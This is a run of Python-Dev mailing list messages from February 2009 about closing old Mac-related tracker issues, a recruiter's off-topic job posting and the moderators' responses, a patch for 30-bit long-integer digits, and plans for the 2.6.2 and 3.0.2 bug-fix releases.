> On 15 Feb, 2009, at 21:13, Daniel (ajax) Diniz wrote:
>
>> Hi,
>>
>> In the discussion of a feature request for MacPython[1], the OP (hhas) said:
>>
>>   As of Python 2.6/3.0, all Mac-specific modules are deprecated/eliminated
>>   from the standard library and there are no longer any plans to submit
>>   appscript for possible inclusion. This issue should be rejected and
>>   closed.
[...]
>> So, if someone could reassure / clarify the rules for closing these in
>> general and/or take a quick look at specific issues, that would be a
>> great help.
>
> The Carbon bindings in 2.6 are deprecated and I don't intend to work on fixing them, and would advise against trying to fix issues with these modules unless you're personally affected by them.

OK.

>> [1] http://bugs.python.org/issue916013
>
> Should have been closed ages ago.
>
[snip]
>> http://bugs.python.org/issue776533 Carbon.Snd module SPB constructor shadowed
>
> Closed as fixed (after reapplying the patch on the trunk)
[...]
>> http://bugs.python.org/issue779285 Carbon Event ReceiveNextEvent
>
> Left this open for now, I have to have a better look at the actual code to check if it is worthwhile to keep this issue open.

Wow, thanks a lot for taking care of all these issues! If you need a
hand to close, assign or just update any of them, I'd be glad to help.
I'll put any closing of these on hold until you're done, I have no
hurry :)

>> http://bugs.python.org/issue779153 bgen requires Universal Headers,
>> not OS X dev headers
>
> Should be closed, I'm not planning on recreating the Carbon bindings.

OK, I'll add a 'will close unless someone who needs this comes
forward' note on this one, but will leave it open for a while as it
might help in wrapping code.

>>
>> http://bugs.python.org/issue602291 Bgen should learn about booleans
>
> This one is not related to OSX, appearently at least some people actually use Bgen for creating wrapper code.

Thanks, will update it and leave open.

>> http://bugs.python.org/issue775321 plistlib error handling
>>
>> http://bugs.python.org/issue985064 plistlib crashes too easily on bad files
>
> Plistlib is in the generic standard library in 2.6 and 3.0. I haven't checked yet if these issues are relevant at this point in time.

They are not, I'll work on tests/patches for them.

Thanks for handling these and for the valuable feedback, Ronald!

Daniel

From ajaksu at gmail.com  Tue Feb 17 16:53:52 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Tue, 17 Feb 2009 12:53:52 -0300
Subject: [Python-Dev] Tracker cleanup report
In-Reply-To: <bbaeab100902161249r29122e09y7ce3c7b4774e6173@mail.gmail.com>
References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com>
	<79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com>
	<bbaeab100902161249r29122e09y7ce3c7b4774e6173@mail.gmail.com>
Message-ID: <2d75d7660902170753y4be818a8q3665dce7b6c9fe65@mail.gmail.com>

Brett Cannon wrote:
>
> Ditto from me! And I will eventually get to the bugs assigned to me (hopefully starting some time this week).
>

No hurry, just let me know if you see stupid mistakes on my part (I've
once or twice added an issue as its own dependency) :)

Daniel

From ajaksu at gmail.com  Tue Feb 17 16:54:59 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Tue, 17 Feb 2009 12:54:59 -0300
Subject: [Python-Dev] Tracker cleanup report
In-Reply-To: <5B32700B-4A22-4712-894E-D8D948AE0F05@cwi.nl>
References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com>
	<5B32700B-4A22-4712-894E-D8D948AE0F05@cwi.nl>
Message-ID: <2d75d7660902170754i116af84bt96f983a06ffaa5c9@mail.gmail.com>

Jack Jansen wrote:
> I had a cursory look at these issues as they came by, and I didn't see any that struck me as still being relevant.
>

Thanks a lot for the feedback, Jack!

Daniel

From david.russell at fdmgroup.com  Tue Feb 17 17:15:36 2009
From: david.russell at fdmgroup.com (David Russell)
Date: Tue, 17 Feb 2009 16:15:36 -0000
Subject: [Python-Dev] 2 very interesting projects - Python / Finance
References: <E5420629A0DEB64291F2973D3D3D5FFC9DC841@fdm-mail02.fdmgroup.local>
	<20090217153920.GA23769@panix.com>
Message-ID: <E5420629A0DEB64291F2973D3D3D5FFC9DC84B@fdm-mail02.fdmgroup.local>

Dear Aahz,

I understand your point but the line should be drawn between somebody
selling Viagra or insurance to someone like me who is offering an
opportunity to a suitable candidate to work on a Python project
developing a new global trading system for a world leading financial
institution.

I am not trying to sell something or take something away from anybody
nor am I offering something that does not exist, I am broadcasting a
realistic, solid opportunity to a group of people that may benefit from
it. 

Looking at the current global job climate I would have thought this type
of email would be welcomed by the Python community?

If you don't agree then do what you have to do and report me to the
other web administrators.

Maybe you should start a list that users can join to receive project
offers? It makes sense.

Best regards

David Russell
Account Manager

FDM Group

Beethoven Strasse 4,
60325 Frankfurt am Main
Germany


-----Original Message-----
From: Aahz [mailto:aahz at pythoncraft.com] 
Sent: 17 February 2009 15:39
To: David Russell
Cc: Python-Dev at python.org
Subject: Re: [Python-Dev] 2 very interesting projects - Python / Finance

On Tue, Feb 17, 2009, David Russell wrote:
>
> Dear Python Development Group,
> 
> First of all sorry for the unsolicited email,

This is spam, and you have now jeopardized your correct posting to the
Python Job Board.  The other website administrators will be informed and
we will discuss whether spamming python-dev warrants withdrawing it.
-- 
Aahz (aahz at pythoncraft.com)           <*>
http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers
wrote 
programs, then the first woodpecker that came along would destroy
civilization.

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________

This message is from FDM Group Plc, and may contain information that is confidential or privileged.  If you are not the intended recipient, please delete the message and any attachments and notify the sender.  This email is not intended to create legally binding commitments on behalf of FDM Group Plc, nor do its contents reflect the corporate views or policies of FDM.  Any unauthorised disclosure, use or dissemination, either whole or partial, is prohibited. FDM Group Plc is a private limited company registered in England (Reg. No. 2542980).


________________________________________________________________________
This e-mail has been scanned for all viruses by Star Internet. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________

From tim.peters at gmail.com  Tue Feb 17 17:47:10 2009
From: tim.peters at gmail.com (Tim Peters)
Date: Tue, 17 Feb 2009 11:47:10 -0500
Subject: [Python-Dev] 2 very interesting projects - Python / Finance
In-Reply-To: <20090217153920.GA23769@panix.com>
References: <E5420629A0DEB64291F2973D3D3D5FFC9DC841@fdm-mail02.fdmgroup.local>
	<20090217153920.GA23769@panix.com>
Message-ID: <1f7befae0902170847h7d06d30reff01c5abb7f55d1@mail.gmail.com>

[Aahz]
> ...
> This is spam, and you have now jeopardized your correct posting to the
> Python Job Board.  The other website administrators will be informed and
> we will discuss whether spamming python-dev warrants withdrawing it.

To be fair, a python-dev moderator approved the posting, so in their
judgment it wasn't spam.

It was in my judgment, but someone else approved it before I managed
to hit the "discard" button.

From steve at holdenweb.com  Tue Feb 17 17:55:54 2009
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 17 Feb 2009 11:55:54 -0500
Subject: [Python-Dev] 2 very interesting projects - Python / Finance
In-Reply-To: <E5420629A0DEB64291F2973D3D3D5FFC9DC84B@fdm-mail02.fdmgroup.local>
References: <E5420629A0DEB64291F2973D3D3D5FFC9DC841@fdm-mail02.fdmgroup.local>	<20090217153920.GA23769@panix.com>
	<E5420629A0DEB64291F2973D3D3D5FFC9DC84B@fdm-mail02.fdmgroup.local>
Message-ID: <499AEC1A.2080102@holdenweb.com>

David:

Perhaps you'd  like to give me your company's internal mailing list
address so I can drop your staff a line when I hear of Python
conferences going on your area. Or maybe that's not what the list is for?

This list, as is clearly stated at

  http://www.python.org/community/lists/

is "for work on developing Python". Hence your posting (and your
protestations of innocence) is unsolicited commercial email, AKA spam.
Python users who are looking for jobs know about the jobs board, where
you have already submitted vacancy notices (now jeopardized by this
anti-social act). Please stop now - if you must reply, feel free to do
so by private email.

regards
 Steve

David Russell wrote:
> Dear Aahz,
> 
> I understand your point but the line should be drawn between somebody
> selling Viagra or insurance to someone like me who is offering an
> opportunity to a suitable candidate to work on a Python project
> developing a new global trading system for a world leading financial
> institution.
> 
> I am not trying to sell something or take something away from anybody
> nor am I offering something that does not exist, I am broadcasting a
> realistic, solid opportunity to a group of people that may benefit from
> it. 
> 
> Looking at the current global job climate I would have thought this type
> of email would be welcomed by the Python community?
> 
> If you don't agree then do what you have to do and report me to the
> other web administrators.
> 
> Maybe you should start a list that users can join to receive project
> offers? It makes sense.
> 
> Best regards
> 
> David Russell
> Account Manager
> 
> FDM Group
> 
> Beethoven Strasse 4,
> 60325 Frankfurt am Main
> Germany
> 
> 
> -----Original Message-----
> From: Aahz [mailto:aahz at pythoncraft.com] 
> Sent: 17 February 2009 15:39
> To: David Russell
> Cc: Python-Dev at python.org
> Subject: Re: [Python-Dev] 2 very interesting projects - Python / Finance
> 
> On Tue, Feb 17, 2009, David Russell wrote:
>> Dear Python Development Group,
>>
>> First of all sorry for the unsolicited email,
> 
> This is spam, and you have now jeopardized your correct posting to the
> Python Job Board.  The other website administrators will be informed and
> we will discuss whether spamming python-dev warrants withdrawing it.


-- 
Steve Holden        +1 571 484 6266   +1 800 494 3119
Holden Web LLC              http://www.holdenweb.com/


From steve at holdenweb.com  Tue Feb 17 18:25:39 2009
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 17 Feb 2009 12:25:39 -0500
Subject: [Python-Dev] 2 very interesting projects - Python / Finance
In-Reply-To: <499AEC1A.2080102@holdenweb.com>
References: <E5420629A0DEB64291F2973D3D3D5FFC9DC841@fdm-mail02.fdmgroup.local>	<20090217153920.GA23769@panix.com>	<E5420629A0DEB64291F2973D3D3D5FFC9DC84B@fdm-mail02.fdmgroup.local>
	<499AEC1A.2080102@holdenweb.com>
Message-ID: <gneruj$30t$1@ger.gmane.org>

Steve Holden wrote:
> David:
> 
> Perhaps you'd  like to give me your company's internal mailing list
> address so I can drop your staff a line when I hear of Python
> conferences going on your area. Or maybe that's not what the list is for?
> 
[...]
Just to close this out Aahz and I received an apologetic reply by
private email.

regards
 Steve
-- 
Steve Holden        +1 571 484 6266   +1 800 494 3119
Holden Web LLC              http://www.holdenweb.com/


From fuzzyman at voidspace.org.uk  Tue Feb 17 18:34:30 2009
From: fuzzyman at voidspace.org.uk (Michael Foord)
Date: Tue, 17 Feb 2009 17:34:30 +0000
Subject: [Python-Dev] 2 very interesting projects - Python / Finance
In-Reply-To: <1f7befae0902170847h7d06d30reff01c5abb7f55d1@mail.gmail.com>
References: <E5420629A0DEB64291F2973D3D3D5FFC9DC841@fdm-mail02.fdmgroup.local>	<20090217153920.GA23769@panix.com>
	<1f7befae0902170847h7d06d30reff01c5abb7f55d1@mail.gmail.com>
Message-ID: <499AF526.8020506@voidspace.org.uk>

Tim Peters wrote:
> [Aahz]
>   
>> ...
>> This is spam, and you have now jeopardized your correct posting to the
>> Python Job Board.  The other website administrators will be informed and
>> we will discuss whether spamming python-dev warrants withdrawing it.
>>     
>
> To be fair, a python-dev moderator approved the posting, so in their
> judgment it wasn't spam.
>
>   

I saw it in the queue and hit reject. I think he may have signed up and 
reposted - either that or I *didn't* hit reject when I intended to.

Michael
> It was in my judgment, but someone else approved it before I managed
> to hit the "discard" button.
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/fuzzyman%40voidspace.org.uk
>   


-- 
http://www.ironpythoninaction.com/
http://www.voidspace.org.uk/blog



From dirkjan at ochtman.nl  Tue Feb 17 19:34:12 2009
From: dirkjan at ochtman.nl (Dirkjan Ochtman)
Date: Tue, 17 Feb 2009 19:34:12 +0100
Subject: [Python-Dev] 2 very interesting projects - Python / Finance
In-Reply-To: <499AEC1A.2080102@holdenweb.com>
References: <E5420629A0DEB64291F2973D3D3D5FFC9DC841@fdm-mail02.fdmgroup.local>	<20090217153920.GA23769@panix.com>	<E5420629A0DEB64291F2973D3D3D5FFC9DC84B@fdm-mail02.fdmgroup.local>
	<499AEC1A.2080102@holdenweb.com>
Message-ID: <499B0324.3090409@ochtman.nl>

On 17/02/2009 17:55, Steve Holden wrote:
> is "for work on developing Python". Hence your posting (and your
> protestations of innocence) is unsolicited commercial email, AKA spam.
> Python users who are looking for jobs know about the jobs board, where
> you have already submitted vacancy notices (now jeopardized by this
> anti-social act). Please stop now - if you must reply, feel free to do
> so by private email.

I'd like to mention that python-nl got this, too, so he probably spammed 
a bunch of lists.

Cheers,

Dirkjan


From dickinsm at gmail.com  Tue Feb 17 19:38:04 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Tue, 17 Feb 2009 18:38:04 +0000
Subject: [Python-Dev] 30-bit PyLong digits in 3.1?
Message-ID: <5c6f2a5d0902171038h1df1c6d9ie060fce79e8eb5e2@mail.gmail.com>

A few months ago there was a discussion [1] about changing
Python's long integer type to use base 2**30 instead of base
2**15.  http://bugs.python.org/issue4258 was opened for this.

With much help from many people (but especially Antoine
and Victor), I've finally managed to put together an
essentially finished patch for this (see 30bit_longdigit14.patch
in the tracker).

I'd like to get this in for 3.1. Any objections or comments?
Is this PEP territory?

Summary of the patch:

* Apart from improved performance, the effects should be
  almost entirely invisible to users.

* By default, 30-bit digits are used only when both 32-bit
  and 64-bit integer types are available; otherwise the
  code falls back to the usual 15-bit digits.  For Unix, there's
  a configure option --enable-big-digits that overrides this
  default.  In particular, you can use --disable-big-digits
  to force 15-bit digit longs.

* There's a new structseq sys.int_info that looks like this:

    >>> sys.int_info
    sys.int_info(bits_per_digit=30, sizeof_digit=4)

  the sizeof_digit is mostly there to help out the sys.getsizeof
  tests in test_sys.

* Benchmarks show significant speedups (20% and more)
  for integer arithmetic
  on 64-bit systems, and lesser speedups on 32-bit systems.
  Operations with single-digit integers aren't affected much
  either way;  most of the benefit seems to be for operations
  with small multi-digit integers.

* There are more performance improvements planned (see
   the issue discussion for details);  I left them out of the
   current patch for simplicity, and because they still need
   proper testing and benchmarking.

Mark

[1] http://mail.python.org/pipermail/python-dev/2008-November/083315.html

From martin at v.loewis.de  Tue Feb 17 20:49:36 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 17 Feb 2009 20:49:36 +0100
Subject: [Python-Dev] 30-bit PyLong digits in 3.1?
In-Reply-To: <5c6f2a5d0902171038h1df1c6d9ie060fce79e8eb5e2@mail.gmail.com>
References: <5c6f2a5d0902171038h1df1c6d9ie060fce79e8eb5e2@mail.gmail.com>
Message-ID: <499B14D0.9010806@v.loewis.de>

> I'd like to get this in for 3.1. Any objections or comments?

Can you please upload it to Rietveld also?

> Is this PEP territory?

I don't think so.

Martin


From barry at python.org  Tue Feb 17 21:18:44 2009
From: barry at python.org (Barry Warsaw)
Date: Tue, 17 Feb 2009 15:18:44 -0500
Subject: [Python-Dev] Python 2.6.2 and 3.0.2
Message-ID: <F846D44C-E732-4244-81FB-91A08F555F46@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Thinking again about 3.0.2.

If we'd like to do bug fix releases before Pycon, I suggest Monday  
March 9th for code freeze and tagging.  That would mean a Tuesday  
March 10th release.

What do you think?
Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZsbpHEjvBPtnXfVAQK5xgP/XIKmhKSbQLQ4rZvknkhDTel6R8w14/7Z
lThGtuFJd3eKE4EOO3CP/zT8LT0rHTRkF1wGUZjyNoLW6bIQkGiTQYWxOsTV+Z7z
Ak49VzUpf0KySd4Nwtzn/KxQ+z/i3ts3z5YRD9eWBs0ZtTAiOelZrTxievcWZt+6
0PpsQWGb+14=
=caaa
-----END PGP SIGNATURE-----

From dickinsm at gmail.com  Tue Feb 17 21:36:38 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Tue, 17 Feb 2009 20:36:38 +0000
Subject: [Python-Dev] 30-bit PyLong digits in 3.1?
In-Reply-To: <499B14D0.9010806@v.loewis.de>
References: <5c6f2a5d0902171038h1df1c6d9ie060fce79e8eb5e2@mail.gmail.com>
	<499B14D0.9010806@v.loewis.de>
Message-ID: <5c6f2a5d0902171236w621027b5q203c240340ecbf17@mail.gmail.com>

On Tue, Feb 17, 2009 at 7:49 PM, "Martin v. L?wis" <martin at v.loewis.de> wrote:
> Can you please upload it to Rietveld also?

Will do.  I'm getting a "500 Server Error" at the moment, but I'll keep trying.

Mark

From guido at python.org  Tue Feb 17 21:42:04 2009
From: guido at python.org (Guido van Rossum)
Date: Tue, 17 Feb 2009 12:42:04 -0800
Subject: [Python-Dev] 30-bit PyLong digits in 3.1?
In-Reply-To: <5c6f2a5d0902171236w621027b5q203c240340ecbf17@mail.gmail.com>
References: <5c6f2a5d0902171038h1df1c6d9ie060fce79e8eb5e2@mail.gmail.com>
	<499B14D0.9010806@v.loewis.de>
	<5c6f2a5d0902171236w621027b5q203c240340ecbf17@mail.gmail.com>
Message-ID: <ca471dc20902171242o15d1c265md47bf6fd6f23a515@mail.gmail.com>

Use the upload.py script (/static/upload.py) rather than the Create Issue page.

On Tue, Feb 17, 2009 at 12:36 PM, Mark Dickinson <dickinsm at gmail.com> wrote:
> On Tue, Feb 17, 2009 at 7:49 PM, "Martin v. L?wis" <martin at v.loewis.de> wrote:
>> Can you please upload it to Rietveld also?
>
> Will do.  I'm getting a "500 Server Error" at the moment, but I'll keep trying.
>
> Mark
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From dickinsm at gmail.com  Tue Feb 17 21:53:37 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Tue, 17 Feb 2009 20:53:37 +0000
Subject: [Python-Dev] 30-bit PyLong digits in 3.1?
In-Reply-To: <ca471dc20902171242o15d1c265md47bf6fd6f23a515@mail.gmail.com>
References: <5c6f2a5d0902171038h1df1c6d9ie060fce79e8eb5e2@mail.gmail.com>
	<499B14D0.9010806@v.loewis.de>
	<5c6f2a5d0902171236w621027b5q203c240340ecbf17@mail.gmail.com>
	<ca471dc20902171242o15d1c265md47bf6fd6f23a515@mail.gmail.com>
Message-ID: <5c6f2a5d0902171253g65f35142y1613b65ec92b2ef9@mail.gmail.com>

On Tue, Feb 17, 2009 at 8:42 PM, Guido van Rossum <guido at python.org> wrote:
> Use the upload.py script (/static/upload.py) rather than the Create Issue page.

Thanks.  That worked.

http://codereview.appspot.com/14105

From g.brandl at gmx.net  Tue Feb 17 22:02:33 2009
From: g.brandl at gmx.net (Georg Brandl)
Date: Tue, 17 Feb 2009 22:02:33 +0100
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>	<319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>	<200902171000.30304.victor.stinner@haypocalc.com>	<499A9EB6.3020802@openend.se>
	<1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com>
Message-ID: <gnf8le$jpo$1@ger.gmane.org>

Benjamin Peterson schrieb:
> On Tue, Feb 17, 2009 at 5:25 AM, Samuele Pedroni <pedronis at openend.se> wrote:
>> Didn't a test fail because of this? seems the underlying issue is that this
>> part of the stdlib didn't have enough test coverage. It seems that having
>> very good/improving test coverage like is recommended  for 3rd-party project
>> wanting to switch would be a good goal for 3.0 evolution too. We know from
>> PyPy experience that while always improving the test suite coverage is quite
>> spotty at times.
> 
> No, a test didn't fail. Our new distutils maintainer, Tarek Ziade,
> though, has been increasing the distutils test coverage greatly.

In addition to testing, this specific issue could have been found easily by
running something like pylint over the stdlib, because undefined globals
are one of the things they can detect with 100% accuracy...

The hard thing about pylint of course is to get the signal/noise ratio right :)

Georg

-- 
Thus spake the Lord: Thou shalt indent with four spaces. No more, no less.
Four shall be the number of spaces thou shalt indent, and the number of thy
indenting shall be four. Eight shalt thou not indent, nor either indent thou
two, excepting that thou then proceed to four. Tabs are right out.


From jjl at pobox.com  Tue Feb 17 23:39:14 2009
From: jjl at pobox.com (John J Lee)
Date: Tue, 17 Feb 2009 22:39:14 +0000 (GMT)
Subject: [Python-Dev] Issues to be closed: objections?
In-Reply-To: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com>
References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com>
Message-ID: <alpine.DEB.2.00.0902172227330.9069@alice>

On Mon, 16 Feb 2009, Daniel (ajax) Diniz wrote:
> http://bugs.python.org/issue809887 Improve pdb breakpoint feedback

Why this one?


John


From benjamin at python.org  Wed Feb 18 01:00:54 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Tue, 17 Feb 2009 18:00:54 -0600
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <gnf8le$jpo$1@ger.gmane.org>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>
	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>
	<319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>
	<200902171000.30304.victor.stinner@haypocalc.com>
	<499A9EB6.3020802@openend.se>
	<1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com>
	<gnf8le$jpo$1@ger.gmane.org>
Message-ID: <1afaf6160902171600t2e7e9ae2x4abe1e840900c4cb@mail.gmail.com>

On Tue, Feb 17, 2009 at 3:02 PM, Georg Brandl <g.brandl at gmx.net> wrote:
> Benjamin Peterson schrieb:
>> On Tue, Feb 17, 2009 at 5:25 AM, Samuele Pedroni <pedronis at openend.se> wrote:
>>> Didn't a test fail because of this? seems the underlying issue is that this
>>> part of the stdlib didn't have enough test coverage. It seems that having
>>> very good/improving test coverage like is recommended  for 3rd-party project
>>> wanting to switch would be a good goal for 3.0 evolution too. We know from
>>> PyPy experience that while always improving the test suite coverage is quite
>>> spotty at times.
>>
>> No, a test didn't fail. Our new distutils maintainer, Tarek Ziade,
>> though, has been increasing the distutils test coverage greatly.
>
> In addition to testing, this specific issue could have been found easily by
> running something like pylint over the stdlib, because undefined globals
> are one of the things they can detect with 100% accuracy...

Oh, does pylint support py3k now?

>
> The hard thing about pylint of course is to get the signal/noise ratio right :)




-- 
Regards,
Benjamin

From python at rcn.com  Wed Feb 18 01:50:27 2009
From: python at rcn.com (Raymond Hettinger)
Date: Tue, 17 Feb 2009 16:50:27 -0800
Subject: [Python-Dev] -Qwarn and -3
Message-ID: <0607C3694B10464CA99ACE28D8BC758C@RaymondLaptop1>

If someone sets the -3 option to get py3k warnings, should the classic division warning get turned-on automatically?

Right now, I get no warnings for:

   python -3 -c "9 / 5"



Raymond

From guido at python.org  Wed Feb 18 02:14:05 2009
From: guido at python.org (Guido van Rossum)
Date: Tue, 17 Feb 2009 17:14:05 -0800
Subject: [Python-Dev] -Qwarn and -3
In-Reply-To: <0607C3694B10464CA99ACE28D8BC758C@RaymondLaptop1>
References: <0607C3694B10464CA99ACE28D8BC758C@RaymondLaptop1>
Message-ID: <ca471dc20902171714y4a3b0fbdq1eb7b06015725934@mail.gmail.com>

On Tue, Feb 17, 2009 at 4:50 PM, Raymond Hettinger <python at rcn.com> wrote:
> If someone sets the -3 option to get py3k warnings, should the classic
> division warning get turned-on automatically?
>
> Right now, I get no warnings for:
>
>  python -3 -c "9 / 5"

I think you have a point.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From ajaksu at gmail.com  Wed Feb 18 02:41:43 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Tue, 17 Feb 2009 22:41:43 -0300
Subject: [Python-Dev] Issues to be closed: objections?
In-Reply-To: <alpine.DEB.2.00.0902172227330.9069@alice>
References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com>
	<alpine.DEB.2.00.0902172227330.9069@alice>
Message-ID: <2d75d7660902171741s3aa02f42o574e68a7b9adb786@mail.gmail.com>

John J Lee wrote:
> On Mon, 16 Feb 2009, Daniel (ajax) Diniz wrote:
>>
>> http://bugs.python.org/issue809887 Improve pdb breakpoint feedback
>
> Why this one?

Nice catch, this makes no sense. The patch even applies almost
cleanly. I'll update it and set the others to pending, so further
objections can be voiced.

Thank for reviewing, John!

Daniel

From brett at python.org  Wed Feb 18 07:47:57 2009
From: brett at python.org (Brett Cannon)
Date: Tue, 17 Feb 2009 22:47:57 -0800
Subject: [Python-Dev] Tracker cleanup roadmap
In-Reply-To: <499A721E.4060007@v.loewis.de>
References: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com>
	<499A721E.4060007@v.loewis.de>
Message-ID: <bbaeab100902172247l776c0bb4m94446bac619709c1@mail.gmail.com>

On Tue, Feb 17, 2009 at 00:15, "Martin v. L?wis" <martin at v.loewis.de> wrote:

> > Let's improve the tracker UI to better fit our needs. Then, classify
> > them bugs and separate garbage from real development. Lastly, bug
> > reporters should get a better UI. That's it,  any help is welcome.
>
> The plan sounds great.


Yeah, the workflow needs work. I was hoping to try to clean it up once I got
the current workflow documented but you beat me to it (which is a good
thing).


> I can help with the deployment aspects (reviewing
> tracker patches, and deploying them on the tracker site), but not much
> beyond that (except for discussions, of course). Don't expect too much
> help from other people - I have been waiting for volunteers to show up
> helping with the tracker for more than a year now.
>

We can try another volunteer call at PyCon if we want. I can plug it heavily
during my talk.


>
> I suggest you prioritize things by "bang for the buck" (is that the
> right saying?)


It's actually "most bang for your buck", but close enough.


> , starting with changes that take least effort
> to implement. Discussions should be carried out on the tracker-discuss
> list, and, of course, in the meta-tracker.
>

What Martin said. =)

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090217/639a6057/attachment.htm>

From brett at python.org  Wed Feb 18 07:49:42 2009
From: brett at python.org (Brett Cannon)
Date: Tue, 17 Feb 2009 22:49:42 -0800
Subject: [Python-Dev] Python 2.6.2 and 3.0.2
In-Reply-To: <F846D44C-E732-4244-81FB-91A08F555F46@python.org>
References: <F846D44C-E732-4244-81FB-91A08F555F46@python.org>
Message-ID: <bbaeab100902172249s4fa3f207t3c8dbeebe61b3300@mail.gmail.com>

On Tue, Feb 17, 2009 at 12:18, Barry Warsaw <barry at python.org> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Thinking again about 3.0.2.
>
> If we'd like to do bug fix releases before Pycon, I suggest Monday March
> 9th for code freeze and tagging.  That would mean a Tuesday March 10th
> release.
>
> What do you think?


If there are really enough fixes to warrant it, sure. Otherwise would it be
worth more to just wait until after PyCon where there is a bigger chance of
fixed issues?

-Brett


>
> Barry
>
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.9 (Darwin)
>
> iQCVAwUBSZsbpHEjvBPtnXfVAQK5xgP/XIKmhKSbQLQ4rZvknkhDTel6R8w14/7Z
> lThGtuFJd3eKE4EOO3CP/zT8LT0rHTRkF1wGUZjyNoLW6bIQkGiTQYWxOsTV+Z7z
> Ak49VzUpf0KySd4Nwtzn/KxQ+z/i3ts3z5YRD9eWBs0ZtTAiOelZrTxievcWZt+6
> 0PpsQWGb+14=
> =caaa
> -----END PGP SIGNATURE-----
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/brett%40python.org
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090217/d449dff7/attachment-0001.htm>

From venkat83 at gmail.com  Wed Feb 18 09:40:38 2009
From: venkat83 at gmail.com (Venkatraman S)
Date: Wed, 18 Feb 2009 14:10:38 +0530
Subject: [Python-Dev] Tracker cleanup roadmap
In-Reply-To: <499A721E.4060007@v.loewis.de>
References: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com>
	<499A721E.4060007@v.loewis.de>
Message-ID: <a3b05e8b0902180040w255cafe9l7ff9f9ca342553e1@mail.gmail.com>

On Tue, Feb 17, 2009 at 1:45 PM, "Martin v. L?wis" <martin at v.loewis.de>wrote:

> Don't expect too much
> help from other people - I have been waiting for volunteers to show up
> helping with the tracker for more than a year now.
>

I have been mostly a silent spectator around and would like to chip in.
Need some initial throttle(help) for the full-fledged attack :)

-V-
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090218/d361cdfc/attachment.htm>

From g.brandl at gmx.net  Wed Feb 18 10:15:15 2009
From: g.brandl at gmx.net (Georg Brandl)
Date: Wed, 18 Feb 2009 10:15:15 +0100
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <1afaf6160902171600t2e7e9ae2x4abe1e840900c4cb@mail.gmail.com>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>	<319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>	<200902171000.30304.victor.stinner@haypocalc.com>	<499A9EB6.3020802@openend.se>	<1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com>	<gnf8le$jpo$1@ger.gmane.org>
	<1afaf6160902171600t2e7e9ae2x4abe1e840900c4cb@mail.gmail.com>
Message-ID: <gngjj9$873$1@ger.gmane.org>

Benjamin Peterson schrieb:
> On Tue, Feb 17, 2009 at 3:02 PM, Georg Brandl <g.brandl at gmx.net> wrote:
>> Benjamin Peterson schrieb:
>>> On Tue, Feb 17, 2009 at 5:25 AM, Samuele Pedroni <pedronis at openend.se> wrote:
>>>> Didn't a test fail because of this? seems the underlying issue is that this
